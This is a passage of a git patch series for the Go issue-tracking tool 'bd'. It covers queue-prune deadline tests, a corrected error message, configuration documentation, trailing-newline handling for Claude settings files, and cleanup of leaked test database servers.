+} + +// consult burns one consultation and reports whether the context is expired. +func (c ctxExpiringAfter) consult() bool { + if c.state.remaining > 0 { + c.state.remaining-- + return false + } + select { + case <-c.state.done: + default: + c.state.expiredAt = time.Now() + close(c.state.done) + } + return true +} + +func (c ctxExpiringAfter) Err() error { + if c.consult() { + return context.DeadlineExceeded + } + return nil +} + +func (c ctxExpiringAfter) Done() <-chan struct{} { + c.consult() + return c.state.done +} + +func (c ctxExpiringAfter) Deadline() (time.Time, bool) { + select { + case <-c.state.done: + return c.state.expiredAt, true + default: + // Still live: a deadline far enough out that a budget computed from + // it is positive, as a real un-expired deadline context reports. + return time.Now().Add(time.Hour), true + } +} + +func expiringAfter(chunks int) context.Context { + return ctxExpiringAfter{ + Context: context.Background(), + state: &expiryState{remaining: chunks, done: make(chan struct{})}, + } +} + +// seedExpired writes n past-TTL .evtq batches and returns their names. +func seedExpired(t *testing.T, dir string, n int, now time.Time) { + t.Helper() + for i := 0; i < n; i++ { + writeQueueFile(t, dir, fmt.Sprintf("b%04d%s", i, queuedEventExt), 10, now.Add(-8*24*time.Hour)) + } +} + +// TestPruneQueueStopsOnExpiredContext is the GH#5871 regression: the prune the +// send-metrics child runs before its flush must be bounded by the child's +// advertised flushTimeout budget. With the budget already spent, the prune has +// to return instead of walking (and lstat-ing) the whole spool — the walk that +// kept observed children alive ~15 minutes against a 30s advertised budget. +func TestPruneQueueStopsOnExpiredContext(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const seeded = 200 + seedExpired(t, dir, seeded, now) + + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + dropped, freed := pruneQueue(ctx, dir, now, 7*24*time.Hour, 10_000, 64<<20) + if dropped != 0 || freed != 0 { + t.Errorf("pruneQueue with an already-expired context = (%d dropped, %d freed), want (0, 0): the budget was gone before it started", dropped, freed) + } + if got := len(names(t, dir)); got != seeded { + t.Errorf("queue holds %d files after an out-of-budget prune, want all %d untouched", got, seeded) + } +} + +// TestPruneQueueTruncatesAndStillMakesProgress pins the other half: once the +// pass has TTL deletions to keep, expiring mid-scan must stop the scan (so the +// walk stays inside its budget) yet keep those deletions, so the pass makes +// forward progress instead of costing the queue nothing. +func TestPruneQueueTruncatesAndStillMakesProgress(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const seeded = 200 + seedExpired(t, dir, seeded, now) + + // One chunk of budget, then the deadline is spent. + dropped, _ := pruneQueue(expiringAfter(1), dir, now, 7*24*time.Hour, 10_000, 64<<20) + if dropped == 0 { + t.Errorf("pruneQueue dropped 0 of %d expired batches: a truncated prune must still make forward progress", seeded) + } + if dropped >= seeded { + t.Errorf("pruneQueue dropped %d of %d expired batches: it ran the whole spool after its budget expired", dropped, seeded) + } + if got := len(names(t, dir)); got != seeded-dropped { + t.Errorf("queue holds %d files, want %d (seeded %d - dropped %d)", got, seeded-dropped, seeded, dropped) + } +} + +// seedYoung writes n in-TTL .evtq batches, newest first (b0000 is the +// youngest), and returns the names in age order. +func seedYoung(t *testing.T, dir string, n int, now time.Time) []string { + t.Helper() + out := make([]string, n) + for i := 0; i < n; i++ { + out[i] = fmt.Sprintf("b%04d%s", i, queuedEventExt) + writeQueueFile(t, dir, out[i], 10, now.Add(-time.Duration(i+1)*time.Minute)) + } + return out +} + +// TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress pins the cap-skip livelock. +// The caps are the only bound on a queue whose files are all inside the TTL — +// exactly the 149k-file/1.1GB pile GH#5660 added them for. If the walk simply +// gave up at its deadline, that pass would drop nothing (nothing is past TTL) +// AND skip the cap pass (the listing is partial), the next spawn would reopen +// the directory at offset 0 and repeat, and the file/byte bound would never +// fire at all while emission kept appending. So: when the budget runs out with +// zero TTL progress, finish the listing and let the caps run. +func TestPruneQueueCapsYoungPileWhenTTLMadeNoProgress(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const seeded = 200 + const maxFiles = 10 + byAge := seedYoung(t, dir, seeded, now) + + // One chunk of budget, then the deadline is spent — with nothing past TTL + // for the first chunk (or any chunk) to have deleted. + dropped, _ := pruneQueue(expiringAfter(1), dir, now, 7*24*time.Hour, maxFiles, 64<<20) + if dropped == 0 { + t.Errorf("pruneQueue dropped 0 of %d young over-cap batches: the deadline skipped the cap pass, so neither drain ran and the next spawn repeats this pass from offset 0", seeded) + } + got := names(t, dir) + if len(got) > maxFiles { + t.Errorf("queue holds %d files, want at most maxFiles=%d", len(got), maxFiles) + } + // Whatever survives must be the youngest batches: the cap is an + // oldest-first decision over the whole listing. + for _, name := range byAge[maxFiles:] { + if got[name] { + t.Errorf("older batch %s survived while the cap was over: the cap pass did not see the whole listing", name) + break + } + } +} + +// failAfterChunks serves n real directory chunks and then fails, standing in +// for a listing that breaks mid-walk (I/O error, a dir that went away). +type failAfterChunks struct { + r dirChunkReader + remaining int +} + +var errSimulatedReadDir = errors.New("simulated readdir failure") + +func (f *failAfterChunks) ReadDir(n int) ([]os.DirEntry, error) { + if f.remaining <= 0 { + return nil, errSimulatedReadDir + } + f.remaining-- + return f.r.ReadDir(n) +} + +// TestPruneQueueDoesNotCapOnPartialListing pins the fail-closed half. A +// non-EOF read error ends the walk holding only a PREFIX of the queue. The +// oldest-first caps cannot be decided from a prefix — dropping "the oldest of +// what we happened to see" deletes batches that are not actually the oldest, +// which is the mistake the truncation path exists to prevent (the os.ReadDir +// implementation this replaced failed closed by returning 0, 0). +func TestPruneQueueDoesNotCapOnPartialListing(t *testing.T) { + dir := t.TempDir() + now := time.Now() + const seeded = 200 + seedYoung(t, dir, seeded, now) + + f, err := os.Open(dir) + if err != nil { + t.Fatal(err) + } + defer f.Close() + + // One good chunk, then the listing breaks: everything seen so far is a + // prefix, and no cap decision may be made from it. + r := &failAfterChunks{r: f, remaining: 1} + dropped, freed := pruneQueueFrom(context.Background(), r, dir, now, 7*24*time.Hour, 10, 64<<20) + if dropped != 0 || freed != 0 { + t.Errorf("pruneQueue over a listing that failed mid-walk = (%d dropped, %d freed), want (0, 0): the caps ran over a partial prefix", dropped, freed) + } + if got := len(names(t, dir)); got != seeded { + t.Errorf("queue holds %d files after a failed listing, want all %d untouched", got, seeded) + } +} diff --git a/internal/metrics/spawn.go b/internal/metrics/spawn.go index 1f508d803..f8caf9fd2 100644 --- a/internal/metrics/spawn.go +++ b/internal/metrics/spawn.go @@ -148,7 +148,7 @@ func hasQueuedEvents(dir string, now time.Time) bool { // stamps it, so it can make a post-throttle window prune-only and delay (worst // case, if disabled traffic dominates, starve) the enabled stream's uploads. // This is design-tolerated latency, not a data-safety issue: enabled and -// disabled children run the identical PruneQueue(dir, now), so a disabled prune +// disabled children run the identical PruneQueue(ctx, dir, now), so a disabled prune // deletes exactly what an enabled one would; only upload cadence is affected, // which the 7d TTL / 5-min batching budget already absorbs. func touchFlushMarker(dir string) { From 61ec85181f5baa3343aa53b166e30ba9490f4241 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:10:56 -0700 Subject: [PATCH 026/624] fix(storage): stop recommending an inert config.yaml key for a missing prefix (#5936) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ReadConfigPrefix gates on the database's config table row `issue_prefix`. When that row is absent its error told the operator that, "if using config.yaml, use key 'issue-prefix', not 'issue_prefix'" — but this gate never consults config.yaml. The YAML value is read one line above the error solely to populate a debug.Logf diagnostic; it is discarded, so setting `issue-prefix` in config.yaml leaves the gate failing exactly as before. Following the advice produces a tracked config field that changes nothing and misleads the next reader. Point the message at what actually writes the row — `bd init --prefix` or `bd bootstrap`, both of which it already named — and say plainly that the check reads the database's config table so the config.yaml key does not satisfy it. No resolution behavior changes; this is the error text only. Reported-by: @ncljesus Closes #5916 --- internal/storage/issueops/helpers.go | 2 +- internal/storage/issueops/helpers_test.go | 53 +++++++++++++++++++++-- 2 files changed, 50 insertions(+), 5 deletions(-) diff --git a/internal/storage/issueops/helpers.go b/internal/storage/issueops/helpers.go index 32b3bece9..f305a3658 100644 --- a/internal/storage/issueops/helpers.go +++ b/internal/storage/issueops/helpers.go @@ -524,7 +524,7 @@ func ReadConfigPrefix(ctx context.Context, tx DBTX) (string, error) { underscoreYamlPrefix := strings.TrimSpace(config.GetString("issue_prefix")) debug.Logf("Debug: missing config.issue_prefix in database (err=%v, db value=%q, yaml issue-prefix=%q, yaml issue_prefix=%q)\n", err, configPrefix, yamlPrefix, underscoreYamlPrefix) - return "", fmt.Errorf("%w: issue_prefix config is missing (run 'bd init --prefix ' for a new project, or 'bd bootstrap' to clone an existing remote; if using config.yaml, use key 'issue-prefix', not 'issue_prefix')", storage.ErrNotInitialized) + return "", fmt.Errorf("%w: issue_prefix config is missing (run 'bd init --prefix ' for a new project, or 'bd bootstrap' to clone an existing remote; this check reads the database's config table, so adding 'issue-prefix' to config.yaml does not satisfy it)", storage.ErrNotInitialized) } else if err != nil { return "", fmt.Errorf("failed to get config: %w", err) } diff --git a/internal/storage/issueops/helpers_test.go b/internal/storage/issueops/helpers_test.go index 567e4d8c4..0479106d1 100644 --- a/internal/storage/issueops/helpers_test.go +++ b/internal/storage/issueops/helpers_test.go @@ -7,6 +7,7 @@ import ( "testing" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" ) @@ -289,7 +290,7 @@ func TestReadConfigPrefix(t *testing.T) { } }) - t.Run("missing config row has actionable key naming hint", func(t *testing.T) { + t.Run("missing config row names the commands that initialize the prefix", func(t *testing.T) { t.Parallel() db, mock, err := sqlmock.New() @@ -319,14 +320,58 @@ func TestReadConfigPrefix(t *testing.T) { msg := err.Error() if !containsAll(msg, "issue_prefix config is missing", - "issue-prefix", - "not 'issue_prefix'", + "bd init --prefix", + "bd bootstrap", ) { - t.Fatalf("ReadConfigPrefix error missing key naming guidance: %s", msg) + t.Fatalf("ReadConfigPrefix error missing actionable recovery commands: %s", msg) } }) } +// TestReadConfigPrefixDoesNotRecommendInertYAMLKey pins GH#5916: the message +// used to tell an operator to "use key 'issue-prefix', not 'issue_prefix'" in +// config.yaml, but this gate only ever reads the database's config table. The +// YAML key is SET here and the gate still fails, so the recommendation sent +// operators to commit a tracked field that changes nothing and misleads the +// next reader. +// +// Not parallel: it initializes and mutates the process-global viper config. +// BEADS_TEST_IGNORE_REPO_CONFIG keeps the checkout's own tracked config.yaml +// out of the picture, so only the value injected below is in effect. +func TestReadConfigPrefixDoesNotRecommendInertYAMLKey(t *testing.T) { + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + defer config.ResetForTesting() + config.Set("issue-prefix", "skills") + + if got := config.GetString("issue-prefix"); got != "skills" { + t.Fatalf("precondition: config.GetString(issue-prefix) = %q, want %q — the assertions below would be vacuous", got, "skills") + } + + _, mock, tx := beginMockTx(t) + mock.ExpectQuery("SELECT value FROM config WHERE `key` = \\?"). + WithArgs("issue_prefix"). + WillReturnRows(sqlmock.NewRows([]string{"value"})) + + _, err := ReadConfigPrefix(context.Background(), tx) + if err == nil { + t.Fatal("ReadConfigPrefix() returned nil error, want error: the YAML key must not satisfy this gate") + } + if !errors.Is(err, storage.ErrNotInitialized) { + t.Fatalf("ReadConfigPrefix error = %v, want ErrNotInitialized", err) + } + + msg := err.Error() + if strings.Contains(msg, "use key 'issue-prefix'") { + t.Fatalf("ReadConfigPrefix recommends a config.yaml key that does not satisfy it: %s", msg) + } + if !containsAll(msg, "bd init --prefix", "bd bootstrap") { + t.Fatalf("ReadConfigPrefix error missing actionable recovery commands: %s", msg) + } +} + func containsAll(s string, parts ...string) bool { for _, part := range parts { if !strings.Contains(s, part) { From c5e49a3b786347e2012c5a9551a181a49f216961 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:11:08 -0700 Subject: [PATCH 027/624] docs(config): document audit.enabled in configuration reference (#5940) The optional JSONL interaction sidecar at .beads/interactions.jsonl is gated behind audit.enabled (default false, internal/config/config.go:245) with a BD_AUDIT_ENABLED env override (internal/audit/audit.go:67-72), but the key is absent from docs/reference/configuration.md, so there is no documented way to discover it outside `bd audit` help text. Two changes, both on the same page: - Add an `audit.enabled` row to the Tool-Level Settings table covering the default, the env var, what enabling it does, the fact that both `bd audit record` and `bd audit label` refuse to write while it is off (both go through audit.AppendIfEnabled -- cmd/bd/audit.go:103 and :146), and the fact that issue history is recorded in the database regardless. - Add `audit.*` and `storage-class.*` to the list of namespaces routed to config.yaml. Both are in config.IsYamlOnlyKey's prefix list (internal/config/yaml_config.go:118) but were missing from the doc; the list now matches that prefix list exactly. Reported by @treystout in #5904. --- docs/reference/configuration.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 2a79a6280..4d30c71fc 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -82,7 +82,7 @@ These keys must live in `config.yaml`, not the database, because they are read b The full namespaces routed to YAML are: -`routing.*`, `sync.*`, `git.*`, `directory.*`, `repos.*`, `external_projects.*`, `validation.*`, `lint.*`, `hierarchy.*`, `ai.*`, `backup.*`, `export.*`, `dolt.*`, `federation.*`, `metrics.*`, `list.*` +`routing.*`, `sync.*`, `git.*`, `directory.*`, `repos.*`, `external_projects.*`, `validation.*`, `lint.*`, `hierarchy.*`, `ai.*`, `backup.*`, `export.*`, `dolt.*`, `federation.*`, `metrics.*`, `list.*`, `audit.*`, `storage-class.*` `lint.*` holds lint settings: `lint.sections.` is a comma-separated, additive list of sections that `bd lint` additionally requires for issues of that type (built-in required sections still apply; unset means no behavior change). @@ -124,6 +124,7 @@ Any key whose name contains `api_key`, `api-key`, `secret`, `token`, or `passwor | `backup.interval` | — | `BD_BACKUP_INTERVAL` | `15m` | Minimum time between auto-backups | | `backup.git-push` | — | — | `false` | Auto-push backup repo | | `backup.git-repo` | — | `BD_BACKUP_GIT_REPO` | (none) | Backup git repo URL; when set, backups go to a `backup/` directory inside that repo | +| `audit.enabled` | — | `BD_AUDIT_ENABLED` | `false` | Enable the optional JSONL interaction sidecar at `.beads/interactions.jsonl`, written by `bd audit record` / `bd audit label`. While disabled, `bd init` does not create the file and `bd audit record` / `bd audit label` refuse to write. Issue history is always recorded in the database either way — see `bd history --events` | | `export.auto` | — | — | `false` | Refresh `.beads/issues.jsonl` export after every write; not cross-machine sync | | `export.path` | — | — | `issues.jsonl` | Output filename relative to `.beads/` | | `export.interval` | — | — | `60s` | Minimum time between auto-exports | From cad7e17d70d1df34890aae2547e4d428bf5b5c7f Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:11:20 -0700 Subject: [PATCH 028/624] fix(setup/claude): keep settings.json's trailing newline and skip no-op rewrites (#5944) * fix(setup/claude): keep settings.json's trailing newline and skip no-op rewrites (#5693) bd setup claude (and bd init, which calls it) marshalled the Claude settings map with json.MarshalIndent and wrote it unconditionally. MarshalIndent emits no trailing newline, so every run stripped the one Claude Code's own writes leave behind, and re-wrote the file even when no hook changed. Because bd init git-adds .claude/settings.json, that surfaced as a staged diff with no semantic content. The same marshal-then-write pattern appears at four call sites in claude.go: installClaude's settings write and its settings.local.json migration, and removeClaude's settings write and its settings.local.json cleanup. Fixing one would have left the bug live in the other three, so both halves are now shared helpers -- marshalSettings appends the newline, writeSettingsIfChanged compares against the bytes already on disk and returns early when they match -- and all four sites go through them. Reported by @maphew. * chore(setup/claude): use the repo spelling "marshaled" in the new comments The misspell linter flags British "marshalled"; CI pins golangci-lint v2.10.1 and runs it with --new-from-merge-base, so both new comment lines are in scope. Comment text only, no behaviour change. --- cmd/bd/setup/claude.go | 39 +++++-- cmd/bd/setup/claude_test.go | 204 ++++++++++++++++++++++++++++++++++++ 2 files changed, 235 insertions(+), 8 deletions(-) diff --git a/cmd/bd/setup/claude.go b/cmd/bd/setup/claude.go index dac9cdd6e..fb10326d4 100644 --- a/cmd/bd/setup/claude.go +++ b/cmd/bd/setup/claude.go @@ -1,6 +1,7 @@ package setup import ( + "bytes" "encoding/json" "errors" "fmt" @@ -70,6 +71,28 @@ func globalSettingsPath(home string) string { return filepath.Join(home, ".claude", "settings.json") } +// marshalSettings renders a Claude settings map as two-space-indented JSON +// with the trailing newline json.MarshalIndent omits, so the file stays +// POSIX-clean and byte-stable across runs. +func marshalSettings(settings map[string]interface{}) ([]byte, error) { + data, err := json.MarshalIndent(settings, "", " ") + if err != nil { + return nil, err + } + return append(data, '\n'), nil +} + +// writeSettingsIfChanged writes data to path only when it differs from what is +// already on disk. GH#5693: bd init / bd setup claude marshaled and wrote +// settings.json on every run, so a no-op run still churned the file's mtime +// and — because MarshalIndent emits no trailing newline — silently stripped it. +func writeSettingsIfChanged(env claudeEnv, path string, data []byte) error { + if existing, err := env.readFile(path); err == nil && bytes.Equal(existing, data) { + return nil + } + return env.writeFile(path, data) +} + func claudeAgentsEnv(env claudeEnv) agentsEnv { ae, _ := claudeAgentsEnvRedirect(env) return ae @@ -277,13 +300,13 @@ func installClaude(env claudeEnv, global bool, stealth bool) error { } } - data, err := json.MarshalIndent(settings, "", " ") + data, err := marshalSettings(settings) if err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: marshal settings: %v\n", err) return err } - if err := env.writeFile(settingsPath, data); err != nil { + if err := writeSettingsIfChanged(env, settingsPath, data); err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: write settings: %v\n", err) return err } @@ -300,8 +323,8 @@ func installClaude(env claudeEnv, global bool, stealth bool) error { removeHookCommand(legacyHooks, "SessionStart", v) removeHookCommand(legacyHooks, "PreCompact", v) } - if migrated, marshalErr := json.MarshalIndent(legacySettings, "", " "); marshalErr == nil { - if writeErr := env.writeFile(legacyPath, migrated); writeErr == nil { + if migrated, marshalErr := marshalSettings(legacySettings); marshalErr == nil { + if writeErr := writeSettingsIfChanged(env, legacyPath, migrated); writeErr == nil { _, _ = fmt.Fprintf(env.stdout, "✓ Migrated hooks from %s\n", legacyPath) } } @@ -473,13 +496,13 @@ func removeClaude(env claudeEnv, global bool) error { removeHookCommand(hooks, "PreCompact", v) } - data, err = json.MarshalIndent(settings, "", " ") + data, err = marshalSettings(settings) if err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: marshal settings: %v\n", err) return err } - if err := env.writeFile(settingsPath, data); err != nil { + if err := writeSettingsIfChanged(env, settingsPath, data); err != nil { _, _ = fmt.Fprintf(env.stderr, "Error: write settings: %v\n", err) return err } @@ -497,8 +520,8 @@ func removeClaude(env claudeEnv, global bool) error { removeHookCommand(legacyHooks, "SessionStart", v) removeHookCommand(legacyHooks, "PreCompact", v) } - if migrated, marshalErr := json.MarshalIndent(legacySettings, "", " "); marshalErr == nil { - _ = env.writeFile(legacyPath, migrated) + if migrated, marshalErr := marshalSettings(legacySettings); marshalErr == nil { + _ = writeSettingsIfChanged(env, legacyPath, migrated) } } } diff --git a/cmd/bd/setup/claude_test.go b/cmd/bd/setup/claude_test.go index 131919a84..4d1e178e1 100644 --- a/cmd/bd/setup/claude_test.go +++ b/cmd/bd/setup/claude_test.go @@ -1655,3 +1655,207 @@ func TestRemoveClaudeRedirectCleansStaleClaudeBlock(t *testing.T) { t.Fatalf("AGENTS.md should still contain its beads block after remove:\n%s", agentsData) } } + +// countingClaudeEnv wraps env.writeFile with a per-path write counter so tests +// can assert that an unchanged settings file is not rewritten. +func countingClaudeEnv(env claudeEnv, counts map[string]int) claudeEnv { + inner := env.writeFile + env.writeFile = func(path string, data []byte) error { + counts[path]++ + return inner(path, data) + } + return env +} + +func assertTrailingNewline(t *testing.T, path string) { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read %s: %v", path, err) + } + if len(data) == 0 || data[len(data)-1] != '\n' { + t.Errorf("%s should end with a trailing newline, got %q", path, tailOf(data)) + } +} + +func tailOf(data []byte) string { + if len(data) > 24 { + return string(data[len(data)-24:]) + } + return string(data) +} + +// GH#5693: bd setup claude must leave settings.json POSIX-clean (trailing +// newline) instead of stripping the newline json.MarshalIndent omits. +func TestInstallClaudeSettingsEndsWithTrailingNewline(t *testing.T) { + t.Run("project", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + if err := installClaude(env, false, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + assertTrailingNewline(t, projectSettingsPath(env.projectDir)) + }) + t.Run("global", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + if err := installClaude(env, true, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + assertTrailingNewline(t, globalSettingsPath(env.homeDir)) + }) +} + +// GH#5693: a second bd setup claude with nothing to change must not rewrite +// settings.json. +func TestInstallClaudeSkipsRewriteWhenSettingsUnchanged(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + settingsPath := projectSettingsPath(env.projectDir) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("first installClaude: %v", err) + } + if counts[settingsPath] != 1 { + t.Fatalf("first install should write settings once, got %d", counts[settingsPath]) + } + before, err := os.ReadFile(settingsPath) + if err != nil { + t.Fatalf("read settings: %v", err) + } + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("second installClaude: %v", err) + } + if got := counts[settingsPath]; got != 1 { + t.Errorf("second install rewrote unchanged settings: %d total writes, want 1", got) + } + after, err := os.ReadFile(settingsPath) + if err != nil { + t.Fatalf("re-read settings: %v", err) + } + if !bytes.Equal(before, after) { + t.Errorf("second install changed settings content:\nbefore=%q\nafter=%q", before, after) + } +} + +// GH#5693: the same two properties must hold for the removeClaude write path, +// which marshals and writes settings.json through a separate call site. +func TestRemoveClaudeSettingsNewlineAndSkipsUnchangedRewrite(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + settingsPath := projectSettingsPath(env.projectDir) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("installClaude: %v", err) + } + writesAfterInstall := counts[settingsPath] + + if err := removeClaude(env, false); err != nil { + t.Fatalf("first removeClaude: %v", err) + } + assertTrailingNewline(t, settingsPath) + writesAfterRemove := counts[settingsPath] + if writesAfterRemove != writesAfterInstall+1 { + t.Fatalf("first remove should write settings once, got %d writes (install left %d)", + writesAfterRemove-writesAfterInstall, writesAfterInstall) + } + + if err := removeClaude(env, false); err != nil { + t.Fatalf("second removeClaude: %v", err) + } + if got := counts[settingsPath]; got != writesAfterRemove { + t.Errorf("second remove rewrote unchanged settings: %d writes, want %d", got, writesAfterRemove) + } +} + +// GH#5693: the legacy settings.local.json migration writes are the two other +// marshal-and-write call sites in this file; they strip the newline too. +func TestClaudeLegacySettingsWritesEndWithNewline(t *testing.T) { + legacyWithBeadsHook := func() map[string]interface{} { + return map[string]interface{}{ + "hooks": map[string]interface{}{ + "SessionStart": []interface{}{ + map[string]interface{}{ + "matcher": "", + "hooks": []interface{}{ + map[string]interface{}{"type": "command", "command": "bd prime"}, + }, + }, + }, + }, + } + } + + // The second install writes settings.local.json zero times, but not via + // writeSettingsIfChanged: installClaude's migration block is guarded by + // hasBeadsHooks(legacyPath), which is false once the first install has + // migrated the hooks away, so the block is skipped outright. That guard is + // also why the skip inside writeSettingsIfChanged is unreachable on this + // call site — whenever the guard passes, removeHookCommand strips a hook + // that hasBeadsHooks just matched, so the marshaled bytes always differ. + // What this subtest pins is therefore the user-visible property (a repeat + // bd setup claude leaves settings.local.json alone) plus the newline, not + // the no-op-skip helper. + t.Run("install migration then no further legacy writes", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + legacyPath := legacyProjectSettingsPath(env.projectDir) + writeSettings(t, legacyPath, legacyWithBeadsHook()) + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("first installClaude: %v", err) + } + if hasBeadsHooks(legacyPath) { + t.Fatal("legacy beads hooks should have been migrated away") + } + assertTrailingNewline(t, legacyPath) + writesAfterFirst := counts[legacyPath] + if writesAfterFirst != 1 { + t.Fatalf("first install should write legacy settings once, got %d", writesAfterFirst) + } + before, err := os.ReadFile(legacyPath) + if err != nil { + t.Fatalf("read legacy settings: %v", err) + } + + if err := installClaude(env, false, false); err != nil { + t.Fatalf("second installClaude: %v", err) + } + if got := counts[legacyPath]; got != writesAfterFirst { + t.Errorf("second install rewrote migrated legacy settings: %d writes, want %d", got, writesAfterFirst) + } + after, err := os.ReadFile(legacyPath) + if err != nil { + t.Fatalf("re-read legacy settings: %v", err) + } + if !bytes.Equal(before, after) { + t.Errorf("second install changed legacy settings content:\nbefore=%q\nafter=%q", before, after) + } + }) + + t.Run("remove cleanup", func(t *testing.T) { + env, _, _ := newClaudeTestEnv(t) + counts := map[string]int{} + env = countingClaudeEnv(env, counts) + legacyPath := legacyProjectSettingsPath(env.projectDir) + writeSettings(t, legacyPath, legacyWithBeadsHook()) + + if err := removeClaude(env, false); err != nil { + t.Fatalf("first removeClaude: %v", err) + } + assertTrailingNewline(t, legacyPath) + writesAfterFirst := counts[legacyPath] + if writesAfterFirst != 1 { + t.Fatalf("first remove should write legacy settings once, got %d", writesAfterFirst) + } + + if err := removeClaude(env, false); err != nil { + t.Fatalf("second removeClaude: %v", err) + } + if got := counts[legacyPath]; got != writesAfterFirst { + t.Errorf("second remove rewrote unchanged legacy settings: %d writes, want %d", got, writesAfterFirst) + } + }) +} From e8027949d9613370340316e63145d298a157608f Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:11:33 -0700 Subject: [PATCH 029/624] fix(doctor): reap leaked test dolt sql-servers from CGO_ENABLED=0 suites (#5917) CGO_ENABLED=0 doctor tests compiled no TestMain, so AutoStart left detached sql-servers running after t.TempDir() cleanup. The cgo TestMains already swept, but t.TempDir() (Go 1.24+ uses GOTMPDIR) was not under the sweep root, and cwdDeleted never fired while the live child still held the tree. Pin GOTMPDIR/TMPDIR to a suite-owned root before m.Run() and sweep that root on exit. Add a !cgo TestMain for cmd/bd/doctor and cmd/bd/doctor/fix. Fixes #5631 --- cmd/bd/doctor/dolt_e2e_test.go | 16 ++++++- cmd/bd/doctor/fix/suite_temp_test.go | 39 +++++++++++++++++ cmd/bd/doctor/fix/testmain_cgo_test.go | 24 +++++------ cmd/bd/doctor/fix/testmain_nocgo_test.go | 33 ++++++++++++++ cmd/bd/doctor/suite_temp_test.go | 39 +++++++++++++++++ cmd/bd/doctor/testmain_nocgo_test.go | 33 ++++++++++++++ internal/testutil/suite_temp.go | 28 ++++++++++++ internal/testutil/suite_temp_test.go | 55 ++++++++++++++++++++++++ 8 files changed, 253 insertions(+), 14 deletions(-) create mode 100644 cmd/bd/doctor/fix/suite_temp_test.go create mode 100644 cmd/bd/doctor/fix/testmain_nocgo_test.go create mode 100644 cmd/bd/doctor/suite_temp_test.go create mode 100644 cmd/bd/doctor/testmain_nocgo_test.go create mode 100644 internal/testutil/suite_temp.go create mode 100644 internal/testutil/suite_temp_test.go diff --git a/cmd/bd/doctor/dolt_e2e_test.go b/cmd/bd/doctor/dolt_e2e_test.go index 6400ecaec..2944dd3e3 100644 --- a/cmd/bd/doctor/dolt_e2e_test.go +++ b/cmd/bd/doctor/dolt_e2e_test.go @@ -61,6 +61,18 @@ func testMainInner(m *testing.M) int { // The dolt.New database-name firewall requires this opt-in to allow // doctor_pkg_shared and doctest_*-prefixed databases through. os.Setenv("BEADS_TEST_SERVER", "1") + + // Pin t.TempDir() under a suite-owned root so SweepOrphanedTestServers + // can reap AutoStart leftovers whose t.TempDir() cleanup failed because + // the live child still holds the tree (gastownhall/beads#5631). + root, pinErr := testutil.PinSuiteTempRoot("beads-doctor-tests-*") + if pinErr != nil { + fmt.Fprintf(os.Stderr, "FATAL: suite temp root: %v\n", pinErr) + return 1 + } + suiteTempRoot = root + defer os.RemoveAll(root) + if err := testutil.EnsureDoltContainerForTestMain(); err != nil { fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) } else { @@ -88,8 +100,8 @@ func testMainInner(m *testing.M) int { // Best-effort reap of any dolt sql-server left running under a temp dir // this suite created (e.g. a SIGKILLed run) — see - // gastownhall/beads mybd-q6cz. - doltserver.SweepOrphanedTestServers(testBDDir) + // gastownhall/beads mybd-q6cz / #5631. + doltserver.SweepOrphanedTestServers(root, testBDDir) os.Unsetenv("BEADS_DOLT_PORT") os.Unsetenv("BEADS_TEST_MODE") diff --git a/cmd/bd/doctor/fix/suite_temp_test.go b/cmd/bd/doctor/fix/suite_temp_test.go new file mode 100644 index 000000000..91f53ec63 --- /dev/null +++ b/cmd/bd/doctor/fix/suite_temp_test.go @@ -0,0 +1,39 @@ +package fix + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// suiteTempRoot is the TestMain-owned temp directory that t.TempDir must +// land under so SweepOrphanedTestServers can reap leaked sql-servers. +var suiteTempRoot string + +func TestTempDirLandsUnderSuiteSweepRoot(t *testing.T) { + if suiteTempRoot == "" { + t.Fatal("TestMain did not pin suiteTempRoot; leaked dolt sql-server processes cannot be swept") + } + tmp := t.TempDir() + if !pathUnderRoot(tmp, suiteTempRoot) { + t.Fatalf("t.TempDir() %q is not under suiteTempRoot %q", tmp, suiteTempRoot) + } +} + +func pathUnderRoot(dir, root string) bool { + dir = evalOrSelf(dir) + root = evalOrSelf(root) + if dir == root { + return true + } + sep := string(os.PathSeparator) + return strings.HasPrefix(dir, strings.TrimRight(root, sep)+sep) +} + +func evalOrSelf(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p +} diff --git a/cmd/bd/doctor/fix/testmain_cgo_test.go 